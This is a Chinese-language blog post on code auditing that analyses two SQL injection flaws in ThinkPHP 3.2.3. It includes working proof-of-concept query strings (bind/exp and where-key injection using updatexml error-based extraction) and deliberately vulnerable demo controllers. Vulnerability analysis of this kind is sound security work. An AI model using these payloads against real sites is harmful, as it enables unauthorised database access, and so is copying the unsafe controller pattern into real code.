admin

PHP代码审计入门篇三——Thinkphp框架篇
PHP代码审计入门篇三——Thinkphp框架篇ThinkPHP3.2.3 SQL注入分析0x1 Bind、exp...
扫描右侧二维码阅读全文
01
2019/09

PHP代码审计入门篇三——Thinkphp框架篇

PHP代码审计入门篇三——Thinkphp框架篇

ThinkPHP3.2.3 SQL注入分析

0x1 Bind、exp注入

exp:?name[]=123&pass=123&id[]=bind&id[]=0%20and%20updatexml(1,concat(0x7,(select%20user()),0x7e),1)

测试代码:

//IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $User = M("user");
        $user['id'] = I('id');
        $data['username'] = I('name');
        $data['pass'] = I('pass');
        //更新数据
        $result = $User->where($user)->save($data);
        var_dump($result);
        //查询出所有数据
        $info = $User->select();
        var_dump($info);

    }
}

漏洞分析


` $result = $User->where($user)->save($data);
`先进入where函数执行如下流程

  1. 判断传入的第一个$where参数是数组和第二个参数是否为空,满足条件就进行转义 否侧进入下个分支
  2. 判断是否时对象
  3. 判断$where是否时字符类型,并且为空
  4. 判断$this->options['where']是否存在 否则将$where赋值给$this->options['where']

我们传入的id是一个数组,没有进行处理直接赋值给了$this->options['where']
接下来进入到save函数,经过数据处理进入_parseOptions函数

_parseOptions函数获取了数据表名,别名等信息然后进入到了update方法

接着进入parseWhere函数

定义了运算条件后进入parseWhereItem


可以看到 $exp=val[0]=bind,当$exp == 'bind'的时候会将$key和val[1]拼接起来

$wherestr = "`id` = :0 and updatexml(1,concat(0x7,(select user()),0x7e),1)"

接下来的问题就是=后面的:是怎么去除的,现在的sql是

UPDATE `user` SET `pass`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7,(select user()),0x7e),1)


在这里看到将占位符替换为了bind[':0']中的内容

由此产生了注入

当然也可以是id[0]为exp

0x2 where注入

poc:id[where]=1%20and%201=updatexml(1,concat(0x7,(select%20user()),0x7e),1)%23

demo:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $User = M("user");
        $id = I('id');
        $result = $User->find($id);
        var_dump($result);

    }
}

代码分析

首先在第8行断点,再来执行下poc

可以看到传入的id是一个数组里面键为where值为我们传入的注入语句,这里又是怎么将sql语句带入到数据库查询到呢,我们继续向下看执行的流程

然后进入了options_filter表达式过滤函数

可以发现没有进行任何处理接着向下进行 直到parseSql函数中的parseWhere

然后直接返回了 'WHERE' .$whereStr

最后执行的sql语句就是SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7,(select user()),0x7e),1)# LIMIT 1 从而触发了注入点

漏洞触发的原因是,在find函数对传入的数据进行了处理
1
这里判断了数字和字符型

$where[$this->getPk()]  =   $options; //这里where是一个数组类型
            $options                =   array();
            $options['where']       =   $where;

2 进入_parseOptions对字段进行了检测

  // 字段类型验证

        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }

在上面这段检查字段中对传入的$options['where']的内容进行了强制类型转换
重点在于 is_array($options['where'])由于我们传入的id是一个数组类型,所以在第一步那里并没有将$options['where']转化为数组类型,从而绕过了这里的判断条件,使得字段检查失效。

参考

https://paper.seebug.org/573/

Last modification:September 1st, 2019 at 03:16 pm
If you think my article is useful to you, please feel free to appreciate

Leave a Comment